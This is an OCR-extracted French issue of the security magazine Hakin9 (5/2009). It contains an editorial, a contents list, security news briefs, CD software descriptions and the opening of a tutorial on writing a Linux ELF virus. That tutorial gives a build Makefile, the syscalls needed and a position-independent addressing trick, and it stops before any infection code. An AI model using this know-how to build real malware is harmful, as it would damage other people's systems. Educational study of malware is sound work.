Sunteți pe pagina 1din 84

DITORIAL

CHERS LECTEURS,
Nous voil, en pleine priode de vacances et de repos. Profitez bien des bienfaits du soleil et de la plage. Pour bien dmarrer votre rentre, nous vous proposons une srie d'articles sur la scurit. Nous avons le plasir de vous prsenter le cinquime numro de Hakin9 de cette anne! Comme toujours, nous vous invitons approfondir vos conaissances en IT security. Nous dmarrons avec l'article Virus sous Linux . Pensez-vous que ce systme d'exploitation vous protge contre des logiciels malveillants ?! G.R. Niewisiewicz prsente les notions de la cration des virus et les mcanismes de l'infection. Toujours dans le cadre de la problmatiques des virus, nous vous invitons dcouvrir l'article d' Adrien Guinault de XMCO Partners. Vous y trouverez la rponse la question: comment les pirates ont exploit les rcentes failles PDF et Flash. En effet, en printemps 2009, des milliers d'ordinateurs taient infiltr par Gumblar. Pour ceux qui ont une entreprise, nous vous proposons les articles plein d'astuces pour apprendre comment trouver les traces de violation de la scurit sur intranet et comment protger vos donnes. Au menu deux articles: Cryptage des donnes avec EncFS ecrit par Rgis Senet et Fuite d'informations dans une socit par Piotr Faj. Gardez-mieux vos affaires ! Mme les pirates aiment le miel et nous pouvons en profiter ! Rgis Senet nous prsente une ide et mise en place d'un pot de miel. Vous allez voir qu'attirer et piger les pirates informatiques ou les logiciels malveillants n'est pas si dur. Comment dissimuler des donnes sur le disque dur ? Pour le savoir nous vous invitons lire l'article d'Alexandre Lacan propos des Alternate Data Streams. En outre, nous vous proposons d'autres articles concernant les attaques et la scurit. Nous vous souhaitons une trs bonne lecture, Jakub Borowski Rdacteur en chef

5/2009 HAKIN9

SOMMAIRE
DOSSIER
14 Virus sous Linux
GRZEGORZ RYSZARD NIEWISIEWICZ Windows est un environnement o la majorit de virus ont choisi le domicile. Trouver une documentation relative la cration des virus pour ce systme ne doit poser aucun problme. Linux en revanche apparat trs rarement dans ce contexte et ses utilisateurs ont dcidment moins de problmes avec des logiciels malveillants.

36

Injection de liens malicieux: une nouvelle attaque nomme Gumblar

ADRIEN GUINAULT, XMCO PARTNERS. Entre mars et mai 2009, une tempte d'attaques s'est abattue sur lInternet. Baptises Gumblar, ces attaques ont infiltr des milliers dordinateurs en exploitant les vulnrabilits d'Adobe Acrobat Reader et Macromedia Flash. Faisons le tour de ces attaques qui persistent encore lheure o nous crivons cet article.

BACKUP
40 Cryptage des donnes avec EncFS
RGIS SENET Les donnes dune entreprise sont rellement la clef de voute de celle-ci, il est absolument ncessaire de les protger de toutes menaces. Nous allons donc nous rapprocher dun moyen de chiffrement/ dchiffrement des donnes sur un systme dexploitation de type GNU/Linux. EncFS peut sutiliser tout aussi bien sur un serveur dentreprise que sur un poste utilisateur, il convient donc quasiment lensemble des utilisateurs.

FOCUS
26 Les secrets des flux NTFS
ALEXANDRE LACAN Les Alternate Data Streams (ADS) sont une une fonctionnalit mconnue du systme de fichier NTFS. Leur manipulation est simple et permet de facilement dissimuler des donnes sur le disque dur. Peu de programmes exploitent les ADS. Le danger vient essentiellement des malwares qui peuvent se dissimuler et s'excuter dans des fichiers sensibles du systme.

30

Analyse aprs l'attaque

KONRAD ZUWAA Aprs avoir dcouvert une activit indsirable sur l'ordinateur, notre objectif consiste le plus souvent dtecter les traces d'une activit d'un utilisateur non autoris et apprendre que s'est rellement pass sur notre ordinateur. C'est le but de l'analyse aprs l'attaque.

PRATIQUE
Fuite d'informations dans une socit. Enqute lectronique
PIOTR FAJ L'informatique lgale est un domaine relativement neuf sur le march. Les personnes qui connaissent ce terme ne sont pas compltement conscientes des possibilits qu'elle offre. Et la fuite d'informations importantes est actuellement la plus grande menace pour les affaires. Lorsque nous voquons le terme fuite , nous pensons en gnral une attaque du rseau ou une menace populaire ce dernier temps, appel malware (logiciel malveillant). Nous oublions souvent que plus de 75 % d'informations qui ont t voles en 2007 dans les socits, l'ont t par des employs dloyaux. L'informatique lgale est charge de ce type des problmes et des solutions y ddies.

4 HAKIN9 5/2009

SOMMAIRE
52 Mise en place dun pot de miel avec Honeyd
RGIS SENET Un honeypot (en franais pot de miel) est un ordinateur ou un programme volontairement vulnrable mis en place afin dattirer et piger les pirates informatiques ou les logiciels malveillants.

POUR LES DBUTANTS


68 Rootkit HackerDefender Un Rootkit "grand public"
CHRIS GATES Tous les mois, les derniers exploits 0-Day sont publis et font le bonheur des hackers du monde entier. Les professionnels de la scurit des quatre coins du monde se prcipitent sur les sites Web qui publient les derniers exploits afin de les tudier et comprendre leur mthodologie d'accs aux ordinateurs distants.

TECHNIQUE
58 Simulation d'un faux point d'accs Wi-fi avec Karmetasploit
LIONEL GUEDON Cet article prsente une technique utilise pour pouvoir gnrer un faux point d'accs Wi-fi a partir de l'application Karmetasploit prsente dans la distribution Backtrack Linux afin de pouvoir subtiliser des mots de passe et autres cookies d'un client s'y connectant. Il a pour but de sensibiliser les personnes des risques encourus lorsqu'ils se connectent a un Hotspot Wifi non scuris. Il dcrit aussi d'ventuels prcautions a prendre pour se protger.

VARIA
06 En bref
NICOLAS HILY Vous trouverez ici les nouvelles du monde de la scurit des systmes informatiques.

64

Scuriser les accs distants au systme d'information

10

Sur le CD-ROM

TONY FACHAUX L'article prsente d'une manire gnrale les moyens techniques mettre en uvre pour scuriser les accs distants au systme d'information. Cette scurisation passe par la mise en place d'une passerelle VPN SSL afin de contrler les accs externes aux ressources de l'entreprise. Dans cet article, des exemples utilisant la technologie VPN SSL de Juniper seront abords.

Nous vous prsentons le contenu et le mode de fonctionnement de la version rcente de notre principale distribution hakin9. Et les applications commerciales

80

Feuilleton

GUILLAUME LEHEMBRE Notre consultant de scurit vous prsente Retour sur Slowloris

82

Dans le prochain numro

Le dossier, les sujets qui paratront dans le numro 6/2008 (40)

5/2009 HAKIN9

EN BREF
PHREAKING
Un adolescent de la rgion de Boston a t condamn plus de 11 ans de prison pour avoir hack un rseau tlphonique. Matthew Weigman, 19 ans, a fait partie d'un groupe de pirates informatiques tlphoniques qui ont raliss jusqu'a 60 appels crasants en composant le 911 travers le pays. Weigman, connu comme "Petit Pirate informatique," a commenc s' impliquer dans le Phreaking autour de l'ge de 14 ans et a continu de svir jusqu' l'anne dernire. ils utilisent la technologie du spoofing afin de faire croire que l'appel provient de la maison de leur victime. L'ide est de contrarier leurs cibles, de prfrence, la police qui se manifeste la porte, de la maison des victimes, le plus souvent arm. La plupart des membres du groupe ont dj t condamns et Weigman a eut la plus lourde sentence. Le 12 juin 2006, par exemple, un certain Guadalupe Martinez membre de la bande a compos le 911 via l'utilisation d'une carte et a fait croire qu'il appelait d' Alvarado au Texas, il a prtendu dtenir des otages l'aide d' un AK47 et tre sous hallucinogne. Ce genre de canulars au demeurant plus que douteux cote des milliers de dollars concernant l'intervention des forces de l'ordre et de toute la logistique dploye pour ce genre d'opration. Certains d'entres eux coupaient les conversations tlphoniques de leur victimes ou les coutaient. Weigman et son quipage ont utilis toute une srie d'astuces afin de hacker le rseau tlphonique. Ils dupaient ainsi des ouvriers de compagnie tlphoniques avec des appels prtextant ,tre des employs ou des clients afin d'obtenir des renseignements; ils utilisaient galement un ordinateur afin de composer des milliers de numros de tlphone dans l'espoir de gagner l'approche du systme. ils changeaient aussi des mots de passe et des renseignements avec d'autres pirates informati6 HAKIN9 5/2009

ques tlphoniques, connus comme "phreakers". L'anne dernire, trois autres personnes : Stuart Rosoff, Jason Trowbridge et une Pupille du Tchad ont t condamns cinq ans de prison chacun. Martinez a reu une sentence de 30 mois. Benton a reu une sentence de 18 mois vendredi par la Cour fdrale amricaine par le District Nord du Texas. Weigman, du Massachusetts, a t condamn 135 mois. Un autre coaccus , Carlton Nalley, a plaid coupable, mais ne s'est pas manifest l'audience.

SITES CYBERSQUATS
Quand le Site Internet FreeLegoPorn.com a commenc publier des images pornographiques cres avec les jouets Lego, le propritaire de la marque Lego Juris , qui vend des lego pour enfants, a agi vite. "Le contenu disponible sur le site s'est compos des mini-figures animes faisant des choses trs explicites. Nous n'avons pas t amuss," dit Peter Kjaer, l'avocat pour Billund, Lego bas au Danemark. Lego n'est pas all devant les tribunaux. il a plutt dpos une plainte auprs du Centre de Mdiation et d'Arbitrage (WIPO) de l'Organisation de Proprit intellectuelle Mondiale. L'officier d'tat civil du domaine pour FreeLegoPorn.com, Scottsdale, Ariz.-based ARIZ.-BASED Inc., a finalement ferm le site et a transfr le nom de domaine Lego, en accord avec l'UDRP, un organisme sur Internet pour les Noms Allous et les Nombres (ICANN) pour abus de marque de nom de domaine. (ICANN est l'organisation internationale qui coordonne le systme appelant de domaine d'Internet. Les officiers d'tat civil de domaine sont des compagnies accrdites par lICANN ou une autorit nationale pour vendre et enregistrer des noms de domaine de la part des individus, de compagnies ou d'autres organisations.)

Le processus d'UDRP, mont il y a 10 ans, fait gagner du temps et de l'argent en recevant les plaintes de sites cybersquats relativement vite et sans trs longs procs. Mais il n'a pas dissuad pour autant des cybersquatters, qui peuvent trouver des noms de domaine et jouent sur un nombre pratiquement illimit de variations sur les noms de marque clbres, jouant sur les fautes d'orthographe communes de ces noms, les redirigeants ainsi sur leurs propres sites. Les gens en visite d'un Site Internet d'une marque donne peuvent ainsi se retrouver sur le site d'un cybersquatter et se trouver ensuite rexpdis sur un site de phishing ou le contenu laisse plutt dsirer Les marques les plus populaires peuvent tre la cible de milliers de sites cybersquats. De quoi se faire du souci pour les affaires ... Le fait d'tre cybersquat peut nuire la rputation d'une marque, d'une compagnie et des pertes substantielles peuvent s'ensuivre. Une compagnie qui a essay de se dfendre est Verizon Communications Inc., elle a agressivement poursuivi des cybersquatters et a reconquis ainsi des milliers de noms de domaine rattachs ses entreprises. "Nous devons comme prvu faire intervenir 9 millions de nouveaux visiteurs, juste des noms que nous avons t en mesure de renvoyer," dit Sarah Deutsche, vice-prsidente et conseillre gnrale associe Verizon. Mais c'est non seulement les grands noms comme Verizon qui souffrent mais galement l'nergie verte qui est un thme trs en vogue en ce moment, les cybersquatters ont donc cibl le vent et les dmarrages d'nergie solaires, Deutsche dit. "Une vente perdue pour eux est un norme coup." Ce genre de sites peuvent crer d'norme dgts avec la rputation d'une seule et meme marque. Dans certains cas, les criminels ont copi

EN BREF

5/2009 HAKIN9

EN BREF
le Site Internet entier d'une dite marque recueillant ainsi les noms d'utilisateur et mots de passe. Ils essaient alors de trouver une solution afin de comprendre comment fonctionnent noms d'utilisateur et mot de passe. Un vrai casse tte pour qui veut deviner le vrai du faux dit Fred Feldman.

CONFICKER
Les ordinateurs de Windows infects par le ver Conficker se sont transforms en courrier-robots capables d'envoyer des milliards de messages de spam par jour, les socites spcialises en scurit informatique sont sur le pied de guerre. "En l'espace de 12 heures de temps , un seul bot peut envoyer jusqu'a 42,298 messages de spam," selon Alex Gostev chercheur chez Kaspersky. "Un calcul simple dmontre qu'un seul bot peut envoyer jusqu'a environ 80,000 courriers lectroniques en l'espace de 24 heures. En supposant qu'il y ait 5 millions de machines infectes sur la toile [Conficker] botnet pourrait envoyer environ 400 milliards de messages de spam au cours d'une seule priode de 24 heures!" Le spam envoi du courrier sur des sujets divers: tel des produits pharmaceutiques surtout en ce moment, dit Gostev, sur des mdicaments ayant pour sujet : le dysfonctionnement rectile, comme le Viagra et le Cialis, avec des titres de sujet de message plutt vocateur du genre"Elle rvera de vous le jour et la nuit" Gostev a aussi not que presque chaque message contenait un domaine unique avec un lien fix, une tactique que les spammers utilisent quelquefois pour viter les filtres anti-spam qui analysent la frquence de domaines utiliss. "Nous avons dcouvert l'utilisation de 40,542 domaines de troisime niveau et de 33 domaines de deuxime niveau," a dit Gostev. "Tous ont appartenu des spammers ou des compagnies qui ont
8 HAKIN9 5/2009

ordonn ces mailings." La plupart de ces domaines sont d'ailleurs accueillis par la Chine, a t-il ajout. Conficker, est un ver qui est apparu en novembre 2008, et a commenc dbut 2009 infecter des millions de machines dclenchant une vritable panique l'approche du 1ier avril . Conficker propose de tlcharger une soi disant mise jour anti virus nomme: Waledac Or waledac t cr par certains pirates informatiques : les mmes qui ont fait rgn la fameuseTempte botnet pendant 2007 et 2008. Le spam venant des systmes Conficker e-infects est envoy par le trojan Waledac. Quelques robotsConficker proposent aussi un tlchargement qui installent un soit disant Spyware, un des nombreux programmes "scareware" . Scareware est le terme donn pour feindre le logiciel anti-malware qui produit des avertissements d'infection simuls et harcle ensuite les utilisateurs avec des alertes sans fin jusqu' ce qu'ils paient la somme de 50 $ pour acheter le programme inutile. la deuxime moiti de 2008 seul, les instruments antimalware de Microsoft ont nettoy presque 6 millions d'ordinateurs d'infections

scareware-concernant ce type de menace.

SOCIAL NETWORKING
Admettez-le : Vous tes actuellement fanatiques de networking social. Votre drogue de choix pourrait tre Facebook ou bien peut-tre Myspace ou LinkedIn. Certains d'entre vous les utilisent de manire ultra quotidienne, mais CELA, les spcialistes en scurit informatique le savent bien. Il y a quelques fautes de scurit typiques ne pas commettre : comment les viter: partager trop d' activits sur les entreprises. On pche par fiert, quand quelqu'un est excit l'ide que quelque chose ou quelqu'un de sa socit travaille sur un sujet et/ou sur un produit intressant donn de le dire chacun. Peut-tre travaillez vous pour une socit pharmaceutique qui est sur le point de dvelopper un mdicament pour le cancer. Peut-tre que la socit dveloppe une nouvelle voiture qui pollue beaucoup moins que ses concurrent. Autrement dit, quelque chose que chacun voudra. Et la Scurit de la Proprit intellectuelle alors ? Ne perdez pas la Tte !!!)

Social networking

EN BREF
En partageant trop de proprit intellectuelle de votre employeur, vous mettez ses affaires en danger en avertissant un concurrent potentiel qui pourrait alors trouver une faon de copier le travail que vous avez fournit ou bien encore de trouver une faon de gcher vos efforts en engageant un pirate informatique pour pntrer le rseau. Alors il y a des lgions de contrle de pirates informatiques de botnets qui pourrait tre programm pour roder les dfenses d'une compagnie et exploiter l'accs aux donnes et donc compromettre la proprit intellectuelle. Avec les donnes en main, le pirate informatique peut alors les vendre y compris et surtout auprs de votre concurrent le plus srieux. "Le fait de partager cette sorte d'informations pourrait causer des attaques vises sur les entreprises produisant des technologie spcifiques",, dit Souheil Mouhammad, un expert en scurit senior chez Altran Technologies. Ce problme de partage de l'information a suscit bon nombre de discussions dans l'industrie de la scurit ainsi, les compagnies doivent rviser soigneusement leurs politiques de l'utilisation d'un ordinateur vis vis de l'employ. C'est l que le fameux dicton : partager pour mieux rgner perd tout son sens. Toutes les versions de Windows, allant de Windows 2000 XP ainsi que 2008 Serveur, exigent ce correctif." Les attaquants pourraient utiliser un WMF mal form (Windows Metafile) ou un EMF (Metafile Amlior)pour les images afin d'exploiter le bug de Windows 7. "Cela nous dit que Windows 7 n'est pas seulement un cousin loign, mais plutt un cousin proche de Windows 2000," a dit Kandek Wednesday, en faisant allusion au fait que mme Windows 2000 contient des vulnrabilits de type majeures. "De certaines choses qui n'ont videmment pas chang dans Windows 7." La mise jour de scurit pour Windows 7 peut tre tlcharge manuellement du site de Microsoft pour les ditions 32 et 64 bits du systme d'exploitation.

PREMIRE VULNRABILIT CRITIQUE POUR WINDOWS 7 BETA


La Socit Microsoft rapporte la premire vulnrabilit critique pour Windows 7 le patch de mise jour corrige trois dfauts sur le noyau du nouveau systme d'exploitation. La mise jour nomme MS09-006 par les chercheurs a t rfrence comme tant la plus srieuse des trois. Un bug critique dans le traitement du noyau concernant l'interface graphique (GDI), et la visualisation graphique de base du rendu de de Windows. Selon Microsoft, la version publique bta de Windows 7, aussi bien que les prcdentes ditions de l'OS, contiennent les trois dfauts corrigs par le patch MS09-006. "Ces vulnrabilits ont t annonces aprs la sortie de la release de la version Serveur de Windows Server 2008 Bta 2,Windows vista SP2 et la version publique de Windows 7 Bta," Microsoft a dit dans un communiqu de presse qu'il encourageait ses clients tlcharger et appliquer la mise jour de leurs systmes."

MONITORING POUR LA VIRTUALISATION


En abandonnant le modle d'applications courantes sur un serveur ddi, avec un espace de stockage pour chaque application, en faveur d'un environnement virtualis, il y a sans doute de l'avenir. Car la virtualisation permet de gagner normment de temps et d'argent. Mais le fait de garantir la performance d'applications courantes sur un environnement virtualis n'est pas tout fait aussi direct que de garantir la meme action au sein d'un environnement ddi. La question de performance est un facteur commun, un serveur au sein d'un environnement virtualis n'est pas si diffrent d'un serveur dirigeant une application ddie Cependant, le fait d'utiliser des instruments,afin de contrler des applications elles mmes virtualises ,pose un souci en cas d'alerte car un tel contrle n'est pas toujours aussi direct au sein des serveurs virtualiss qu'au sein des serveurs non virtualiss, les applications bougeant entre les serveurs. RDIG PAR NICOLAS HILY
5/2009 HAKIN9 9

Windows 7

SUR LE CD
CD-ROM HAKIN9.LIVE
BackTrack3 est optimis de manire tre utilis par les experts en audits de scurit et de tests d'intrusion. Les patchs de correction et autres scripts automatiques ont t ajouts, appliqus ou dvelopps de manire proposer un environnement agrable, intuitif et prt l'emploi. Les quelques nouvelles fonctionnalits de BackTrack3 sont prsentes avec BackTrack3 hakin9.live. La fonctionnalit la plus importante est incontestablement l'utilisation du noyau 2.6.20 mis jour l'aide de plusieurs programmes de correction. Un support pour la carte sans fil Broadcom a galement t rajout et des pilotes WiFi ont t labors de manire supporter les injections de paquets bruts.

BACKTRACK3
Cette dition du magazine hakin9 est propose avec hakin9.live (accompagne du CD BackTrack3). Cette distribution est riche en applications et autres plugins. BackTrack3 est la distribution Linux live la plus pertinente dans le registre de la scurit informatique. Sans aucune installation pralable, la plateforme d'analyse peut tre directement dmarre partir du CD-Rom et son contenu entirement accessible en quelques minutes seulement. Outre les mises jour et d'autres optimisations, cette version de BackTrack3 hakin9.live contient galement des ditions spciales d'applications commerciales parmi les plus intressantes du moment. Elles sont prpares exclusivement l'attention toute particulire de nos lecteurs. Pour pouvoir utiliser BackTrack3 hakin9.live, il vous suffit de dmarrer votre ordinateur partir du CD. Pour pouvoir utiliser les applications commerciales fournies, inutile de dmarrer votre ordinateur partir du CD : vous les trouverez dans le dossier baptis Applications. Chaque paquet, configuration de noyau et script contenu dans
10 HAKIN9 5/2009

HAKIN9.LIVE
temporaires et les dossiers crs par Windows et autres applications. Il supprime galement les raccourcis invalides. SBMAV Disk Cleaner peut dsinstaller proprement n'importe quelle application, grer les programmes lancs au dmarrage du systme, grer les processus en cours d'excution, grer les polices de caractres, les cookies, supprimer les fichiers en double. Le processus de nettoyage peut tre lanc automatiquement de faon planifie et en ligne de commande.

USERGATE PROXY & FIREWALL


UserGate Proxy & Firewall est une solution de passerelle dentreprise conue pour assurer la scurit des rseaux et le contrle d'accs. Dot notamment de deux moteurs antivirus, de sur veillance Internet et compatible DHCP, UserGate constitue une solution de gestion et de scurit de rseau exhaustive. Le serveur UserGate permet une gestion centralise des rseaux et leur protection contre les menaces Internet complexe. UserGate permet le contrle des habitudes de visites de sites web de vos employs et la surveillance en temps rel des tlchargements quils effectuent. Le serveur UserGate permet daugmenter la productivit des employs par un contrle total des sites auxquels ils peuvent accder et des fichiers qu'ils peuvent tlcharger. Connexion de votre rseau local Internet sans routeurs matriels Grce UserGate vous pouvez connecter tous les utilisateurs de votre rseau local Internet laide dune seule adresse IP externe. Tout le trafic passe par un ser veur proxy unique, si bien que ladministrateur dispose du contrle total des informations changes et des statistiques correspondantes, et peut dfinir des rgles daccs Internet dans un souci de scurit accrue.
5/2009 HAKIN9 1 1

L'intgration du cadre d'application Metasploit2 et Metasploit3 est galement disponible ainsi qu'un alignement permettant d'ouvrir des standards et des cadres d'applications tels que ISSAF et OSSTMM.

sont les patches et Service Packs manquants (aussi bien pour le systme d'exploitation que les applications). Vous pouvez ensuite dployer en toute simplicit ces patches et Service Packs ainsi que vos applications personnelles.

GFI LANGUARD NETWORK SECURITY SCANNER


GFI LANguard Network Security Scanner analyse votre rseau afin de dtecter les ventuelles vulnrabilits pouvant tre exploites par les pirates. Il identifie les failles de scurit dans le systme d'exploitation ainsi que dans les applications. En cas de problmes, vous tes aussitt averti afin de les rgler avant qu'une attaque ne se produise. Une fois l'analyse d'un ordinateur termine, il rpertorie les vulnrabilits et suggre une solution ou bien une conduite recommande. Il inclut mme selon les cas de plus amples informations concernant le problme dtect (par exemple un lien vers un article de BugTraq ou de la Base de connaissances Microsoft). GFI LANguard NSS est galement une solution complte de gestion des patches. Une fois l'analyse termine, il indique quels

PYROBATCHFTP
PyroBatchFTP permet des utilisateurs de transfrer automatiquement des dossiers entre les ordinateurs par l'intermdiaire du protocole de ftp d'Internet. Le produit offre un facile apprendre pourtant les appuis puissants du manuscrit language.PyroBatchFTP classent, annuaire et annuaire-arbre vers le haut et tlchargements et sont prvus pour automatiser des tches ritres de ftp up/download comme mettre jour un web server, le programme etc.The galement comporte construit dans le programmateur et peut tre couru comme service sous Windows NT/ 2000/XP

SBMAV DISK CLEANER


Un puissant outil pour nettoyer les informations inutiles sur votre disque dur. SBMAV Disk Cleaner recherche et supprime les fichiers

SUR LE CD
Grce la mise en mmoire cache du trafic Internet, au blocage du tlchargement de fichiers interdits ou malicieux et la restriction daccs aux sites Web inappropris, vous pouvez diminuer votre trafic de plus de 30%. Bandwidth Manager Gestionnaire de bande passante capable dassigner la maximale vitesse autoris pour chaque utilsatuer ou protocole. Filtrage dURL par categories de BrightCloud. UserGate Proxy & Firewall peut tablir des limites aux ressources web diffrents grce au engin de filtrage dURL par categories de BrightCloud. Base de donnes de BrightCloud of fre plus de 450 millions d'URLs diviss en 70 catgories web tels que Adult, Jeux, Emplette ou Voyage et les autres, lesquelles UserGate peut bloquer. Filtrage dURL BrightCloud permet donc de restreindre laccs certaines catgories de sites web priori non compatibles avec la politique Internet de lentreprise. La demande de page web de lutilisateur est transmise au ser vice BrightCloud et la base de donnes BrightCloud de rfrence afin de dterminer la catgorie du site web, et le moteur de police UserGate intgr met en uvre la politique approprie, tout en bloquant laccs, par exemple, aux sites web inappropris, aux sites de phishing, ou aux sites web infects par des logiciels malveillants. Daprs les rsultats de tests de West Coast Labs, la base d'URL BrightCloud surpasse toutes ses concurrentes tant en termes de couverture que de prcision. Filtrage de contenus. Grce UserGate vous pouvez dsactiver le tlchargement de fichiers spcifiques de type *.mp3, bloquer les bannires publicitaires, interdire les messageries de type MSN, ICQ ou autres, restreindre laccs aux sites FTP, interdire certains sites Web ou supprimer tout accs Internet, hormis pour certaines ressources particulires. Gestion des accs Internet de vos utilisateurs. UserGate permet une gestion centralise de toutes les connexions Internet, ef fectue des calculs de trafic exacts et compor te un systme de facturation et un module de statistiques intgrs. UserGate vous permet de grer tous les droits daccs Internet de vos utilisateurs, de dfinir dif frents programmes daccs Internet, dtablir des limites de trafic, etc. UserGate autorise les utilisateurs selon dif frentes mthodes didentification, y compris via Active Director y, par identifiant Windows ou tout simplement grce des adresses IP internes individuelles. Tlphonie IP. Vous pouvez utiliser UserGate en tant que passerelle VoIP pour les tlphones IP logiciels, ainsi que pour les tlphones IP. Protection pare-feu. Grce UserGate, vous disposez dun accs Internet particulirement scuris. Le programme comporte une fonction pare-feu, si bien que vous pouvez dfinir dif frentes rgles, configurer des ports spcifiques, etc. Antivirus et antispyware. UserGate prend en charge une fonctionnalit antivirus et antispyware optionnelle, qui permet de vrifier la prsence ventuelle de virus ou de spyware dans tout le trafic entrant, notamment les e-mails, ainsi que sur les sites Web et les sites FTP visits. Statistiques web de UserGate Le module Statistiques utilise la technologie web, do une disponibilit dans le monde entier condition de disposer dune connexion Internet et dun navigateur web. Chaque utilisateur de UserGate a droit accder au.

12 HAKIN9 5/2009

HAKIN9.LIVE

Sil vous est impossible de lire le CD. et que ce dernier nest pas endommag physiquement, essayez de lire dans au moins 2 lecteurs diffrents.

En cas de problme avec votre CD, envoyez-nous un message ladresse suivante : cd@hakin9.org

6/2008 HAKIN9

1 1

DOSSIER
GRZEGORZ RYSZARD NIEWISIEWICZ

Virus sous Linux


Windows est un environnement o la majorit de virus ont choisi le domicile. Trouver une documentation relative la cration des virus pour ce systme ne doit poser aucun problme. Linux en revanche apparat trs rarement dans ce contexte et ses utilisateurs ont dcidment moins de problmes avec des logiciels malveillants.

Degr de difficult

e sujet des virus destins Linux est parfois abord sur Internet. Il est galement possible de trouver quelques virus actifs. Heureusement, les menaces de leur part ne sont pas comparables celles connues des utilisateurs de Windows. Cet article prsente les notions de la cration des virus. Nous analyserons les appels des fonctions systmes et la structure des fichiers ELF. Il ne faut pas oublier les prcautions en ce qui concerne la scurit. Toutes les expriences avec le code doivent tre ralises depuis un compte non privilgi avec un rpertoire spar. Voici la structure de l'article : prsentation de l'environnement de dveloppement, analyse de la question relative la cration des virus, prsentation de la structure des fichiers excutables et des outils destins leur analyse, appels systmes, mcanisme de l'infection, code du virus.

CE QU'IL FAUT SAVOIR...


Connatre l'assembleur IA32.

CET ARTICLE EXPLIQUE...


Quelle est la structure des fichiers excutables ELF, Comment crer un simple virus. 14 HAKIN9 5/2009

Environnement de dveloppement

considrablement le code. Bien videmment, rien n'empche d'opter pour un autre assembleur. Dans ce cas-l, il faudra apporter des modifications appropries dans le code prsent dans les Listings. Les dfinitions des constantes et des structures de donnes utilises par ces constantes seront indispensables pour travailler avec les appels systmes. Nous les placerons dans les fichiers d'en-tte. La manire la plus simple de le faire consiste reposer sur les fichiers destins au langage C, disponibles dans tous les systmes. Nous n'aurons besoin que de plusieurs dfinitions donc leur traduction manuelle en en-tte de nasm ne devrait poser aucun problme. Les Listings 9 et 10 prsentent les fichiers prts. Les outils d'analyse et d'dition des fichiers binaires seront galement utiles. Nous utiliserons le paquet binutils tout au long de l'article. Nous utiliserons galement le dbogueur GNU gdb. Le fichier Makefile constituera le dernier lment de notre petit environnement. Ce fichier nous servira perfectionner le processus de compilation. Le Listing 1 prsente le contenu du fichier utilis.

L'assembleur sera l'outil le plus important pour crer un virus. Nous utiliserons nasm en raison de son prprocesseur avanc qui facilitera

Fonctionnement des virus

Tout virus doit rpondre certains critres pour fonctionner correctement. Ceci est li aux restreintes et aux difficults prsentes lors

VIRUS SOUS LINUX


Tout fichier ELF commence par un en-tte qui caractrise le type du fichier et indique d'autres structures de donnes qui le dcrivent. Il contient en particulier des dcalages de deux tables importants : table des en-ttes de segment et table de sections. La table des en-ttes de segment (en anglais program header table) contient des informations indispensables au tlchargement correct du programme. Elles servent crer l'image du programme dans la mmoire virtuelle. De plus, elles peuvent indiquer l'emplacement des structures de donnes diffrentes dans la mmoire. Elles jouent un rle important car elles dcident de la forme et du contenu de l'espace d'adresses du processus cr. Il existe des types diffrents des en-ttes du programme. Tous ont une fonction distincte lors du chargement du programme. De notre point de vue, les segments comme PT _ LOAD sont les plus importants. Ils sont chargs de crer une attribution des segments dans la mmoire virtuelle et de les initier de manire approprie. La table des sections est utile dans la consolidation du programme et nous ne l'emploierons d'aucune manire. Vous trouverez les informations relatives son sujet dans la documentation.

Listing 1. Fichier Makefile utilis pour compiler le virus


virus: virus.o ld -o virus virus.o virus.o: virus.asm syscall.inc virus.inc elf.inc nasm -f elf virus.asm

du travail d'un code tranger dans le cadre du programme infectant. Nous prsenterons les plus simples de ces questions ainsi que leurs solutions. Dans un premier temps, il ne faut pas supposer que les bibliothques dynamiques, y compris la bibliothque standard C, soient accessibles. Rien ne garantit que le programme infect utilise les bibliothques ncessaires et mme si c'est le cas, dterminer les adresses de toutes les fonctions indispensables constituerait une difficult supplmentaire. Une manire plus simple consiste implmenter directement les appels systmes ncessaires. Cette question sera aborde dans la suite de l'article. Une autre difficult est lie au fait que le virus doit fonctionner en tant que partie des programmes diffrents. Lors de l'infection, il sera plac dans des zones diffrentes de la mmoire. Pour cette raison, il ne faut pas supposer que les donnes soient disponibles une adresse imagine. Il faut intgrer toutes les donnes indispensables dans le code du virus. Il sera ncessaire de dterminer leur adresse. Le Listing 2 prsente une trs simple solution du problme susmentionn. La solution commence par une tiquette start , autrement dit, par l'appel de call. Lorsque ce code est excut : l'adresse de retour sera place sur une pile ; cette adresse est une adresse de l'tiquette data , le compteur des ordres sera paramtr sur l'tiquette code, l'adresse de retour sera enleve de la pile et place dans le registre EAX.

dessus fonctionne indpendamment de la position dans la mmoire car l'adresse de l'appel de l'instruction call est transmise en tant que dcalage par rapport l'instruction derrire call . Dans ce cas-l, il s'agit de la longueur des donnes. Il est ainsi possible de dterminer l'adresse de n'importe quelle partie du code. Nous pouvons localiser les donnes indispensables en ajoutant des dcalages appropris l'adresse de l'tiquette data .

Structure des fichiers excutables

Actuellement, ELF (en anglais Executable and Linking Format) est le format standard des fichiers excutables. Il comprend non seulement les fichiers excutables mais aussi les bibliothques dynamiques, les clichs mmoire et les fichiers d'objets. Il est employ dans de diffrents systmes Unix. Son frre an, a.out, est trop obsolte et n'est quasiment plus utilis. Nous n'allons donc pas l'aborder.

Fichiers d'en-tte

Aucun fichier d'en-tte n'est joint au nasm. Il est ncessaire de dfinir soi-mme les constantes et les structures dont on a besoin. Voici les points indispensables pour travailler avec le virus : structures : Elf32_Ehdr, Elf32_Phdr, stat, dirent, numros des appels systmes : exit , open , close, lseek , mmap, munmap, ftruncate, stat , getdents, fchdir, dfinitions : ELFMAG, EI _ NIDENT, ET _ EXEC , EM _ 386, PT _ LOAD, S _ IFREG, SEEK _ SET, MAP _ SHARED, PROT _ READ, PROT _ WRITE, O _ RDONLY, O _ RDWR , NAME _ MAX .

Outils

Lors de la cration du virus, nous nous servirons des programmes suivants : nasm assembleur dans lequel nous crirons le code, binutils ensemble d'outils pour analyser les fichiers binaires, make automatisation de la compilation, debugger gdb.

Le registre EAX contiendra ainsi l'adresse des donnes ! Le code ci-

5/2009 HAKIN9

15

DOSSIER
